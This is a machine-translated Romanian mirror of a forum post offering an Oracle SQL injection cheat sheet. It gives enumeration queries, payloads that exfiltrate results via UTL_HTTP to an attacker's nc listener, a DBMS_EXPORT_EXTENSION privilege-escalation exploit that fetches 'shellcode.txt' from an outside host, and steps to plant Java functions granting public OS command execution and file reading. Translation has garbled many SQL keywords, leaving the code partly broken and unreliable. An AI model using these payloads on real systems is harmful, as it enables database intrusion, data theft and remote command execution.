Acest articol este un articol oglindă al traducerii automate, vă rugăm să faceți clic aici pentru a sări la articolul original.

Vedere: 11931|Răspunde: 0

[Comunicare sigură] Oracle de notițe de injecție SQL

[Copiază linkul]
Postat pe 24.01.2015 12:58:17 | | |
Această postare a fost editată ultima dată de test la 24-01-2015, ora 13:01

Comentariu: --
Execuția cu propoziții multiple nu este suportată, iar interogările federate sunt suportate
Numele bazelor de date, tabele și coloanelor sunt toate scrise cu majuscule.


Lungime(câmp)
ascii(substr(câmp, N, 1))


și (selectează count(*) din dual)>0 -- Determină dacă este oracol sau nu

Ordin de N--

și uniune 1=2 selectează null, null,.....,null din dual-- înlocuiește null cu N sau 'N'

și 1=2 union select null, (instrucțiune SQL) ,.....,nulă de la dual -- schimbare la (instrucțiune SQL) la 'N'

și (selectează numărătoarea(*) din all_objects unde object_name='UTL_HTTP')>0 -- Determină dacă UTL_HTTP este suportată (IP-ul de export este cunoscut)

și UTL_HTTP.request('http://LocalIP:port'|| (Declarație SQL)) =1-- Trimite de la distanță mesaje către ascultare locală, locală nc -vv -l -p 1234


Instrucțiuni SQL
Selectează bannerul din sys.v_$version unde rownum=1 pentru a interoga versiunea oracolului
select member din v$logfile unde rownum=1 Interoghează calea fișierului de jurnal (Windows sau Linux)
selectează utl_inaddr.get_host_address de la dual pentru a interoga adresa de ascultare a bazei de date
Selectează instance_name din v$instance pentru a interoga SID-ul
selectează numele din v$database Interoghează numele actual al bazei de date
selectați sys_context ('userenv','current_user') dintre utilizatorii cu două interogări de date
selectează * din session_roles unde rownum=1 pentru a interoga permisiunile utilizatorilor curente
selectează * din session_roles unde rownum=1 [și rolul<>'nume de primă permisiune']



selectați table_name din user_tables unde rownum=1 Primul segment de tabel al bazei de date curente
select table_name|','|| tablespace_name din user_tables unde rownum=1 Primul segment de tabel, baza de date (pentru verificare, poate să nu fie v$database)
selectează table_name din user_tables unde rownum=1 și table_name<>'primul segment de tabel' Al doilea segment de tabel al bazei de date curente

selectează column_name din user_tab_columns unde rownum=1 și table_name='Segment tabel' Primul câmp corespunzător numelui tabelului
selectează column_name din user_tab_columns unde rownum=1 și table_name='Segment de tabel' și column_name<>'Primul câmp' Al doilea câmp corespunzător denumirii tabelului

Câmpul select din segmentul tabelului unde rownum=1 încalcă conținutul primei linii
selectează câmpul din segmentul tabelului unde rownum=1 și câmpul <> 'conținut pe prima linie' expune conținutul celei de-a doua linii


Bibliotecă transversală
selectează proprietarul din all_tables unde rownum=1 interogează primul nume de bază de date
selectează proprietarul din all_tables unde rownum=1 și proprietar<> 'Primul nume de bază de date' pentru a interoga al doilea nume de bază de date

selectează table_name din all_tables unde rownum=1 și owner='numele bazei de date' Interoghează numele primului tabel al bazei de date corespunzătoare
Selectează table_name din all_tables unde rownum=1 și Owner='Database Name' și table_name<>'First Table Name' pentru a interoga al doilea tabel al bazei de date corespunzătoare

selectează column_name din all_tab_columns unde rownum=1 și owner='database name' și table_name='table segment' Primul câmp corespunzător denumirii tabelului
selectează column_name din all_tab_columns unde rownum=1 și owner='numele bazei de date' și table_name='segment tabel' și column_name<>'primul câmp' Al doilea câmp corespunzător denumirii tabelului

Selectează câmpul din baza de date. segment de tabel unde rownum=1 încalcă conținutul primei linii
Selectează câmpul din baza de date. Segmentul de tabel unde rownum=1 și câmpul <> 'First Line Content' încalcă conținutul celui de-al doilea rând





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); END cu mai multe instrucțiuni; --','SYS',0,'1',0)--

Dacă 'is a scăpat, se folosește chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Mai multe instrucțiuni || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Dacă mai multe propoziții sunt prea lungi, poți scrie declarația în fișierul site-ului și să folosești utl_http.request pentru a o recupera.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Creează un pachet JAVA SecTest
runCMD este folosit pentru a executa comenzi de sistem
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAȚI IMEDIAT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE'' creează sau înlocuiește și compila sursa Java numită "SecTest" ca import java.io.*; clasa publică SecTest extinde Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); returnează forță; }catch(Excepția e){return e.toString(); }}}''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--

readFile este folosit pentru a citi fișierul
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAȚI IMEDIAT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE'' creează sau înlocuiește și compila sursa Java numită "SecTest" ca import java.io.*; clasa publică SecTest extinde Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); returnează forță; }catch(Excepția e){return e.toString(); }}}''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--



Acordarea permisiunilor Java
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUTAREA IMEDIATĂ '''începe dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''executați''''''''); sfârșit; ''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--



Creează o funcție
Funcția SecRunCMD
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMEDIAT '''creează sau înlocuiește funcția SecRunCMD(p_cmd în varchar2) returnează varchar2 ca limbaj java name''''''''SecTest.runCMD(java.lang.String) returnează String'''''''' ; ''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--

Funcția SecReadFile
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMEDIAT '''creează sau înlocuiește funcția SecReadFile(filename in varchar2) returnează varchar2 ca limbaj java name''''''''SecTest.readFile(java.lang.String) returnează String' '''''''; ''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--



Acordați permisiunea de a îndeplini funcția publică
SecRunCMD primește permisiuni
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUTAREA IMEDIATĂ "'''acordă totul pe SecRunCMD publicului'''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--

SecReadFile
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUȚIA IMEDIATĂ '''acordă totul pe SecReadFile publicului'''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--



Detectează dacă funcția a fost creată cu succes
și (selectează numărătoarea(*) din all_objects unde object_name='SECRUNCMD')>0--
și (selectează numărătoarea(*) din all_objects unde object_name='SECREADFILE')>0--



Executați comanda
și '1'<> (selectează sys. SecRunCMD('Execute command') din dual)--
și '1'<> (selectează sys. SecReadFile ("adresa fizică a fișierului") de la dual)--
sau
iar 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null de la dual--
iar 1=2 union select null,...,sys. SecReadFile('adresa fizică a fișierului'),...,null de la dual--
sau
și '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| ÎNLOCUIRE(ÎNLOCUIRE(SYS. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) din dual)--
și '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| ÎNLOCUIRE(ÎNLOCUIRE(SYS. SecReadFile('File Physical Address'),' ',' ','\n',' ')) din dual)--



Funcția de ștergere
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMEDIAT '''funcția drop SecRunCMD''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUTAREA IMEDIATĂ '''funcția drop SecReadFile'''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--




Precedent:Pot aplica pentru moderare, ce condiții am nevoie?
Următor:ORALCE obține numele gazdei și adresa IP
Disclaimer:
Tot software-ul, materialele de programare sau articolele publicate de Code Farmer Network sunt destinate exclusiv scopurilor de învățare și cercetare; Conținutul de mai sus nu va fi folosit în scopuri comerciale sau ilegale, altfel utilizatorii vor suporta toate consecințele. Informațiile de pe acest site provin de pe Internet, iar disputele privind drepturile de autor nu au legătură cu acest site. Trebuie să ștergi complet conținutul de mai sus de pe calculatorul tău în termen de 24 de ore de la descărcare. Dacă îți place programul, te rugăm să susții software-ul autentic, să cumperi înregistrarea și să primești servicii autentice mai bune. Dacă există vreo încălcare, vă rugăm să ne contactați prin e-mail.

Mail To:help@itsvse.com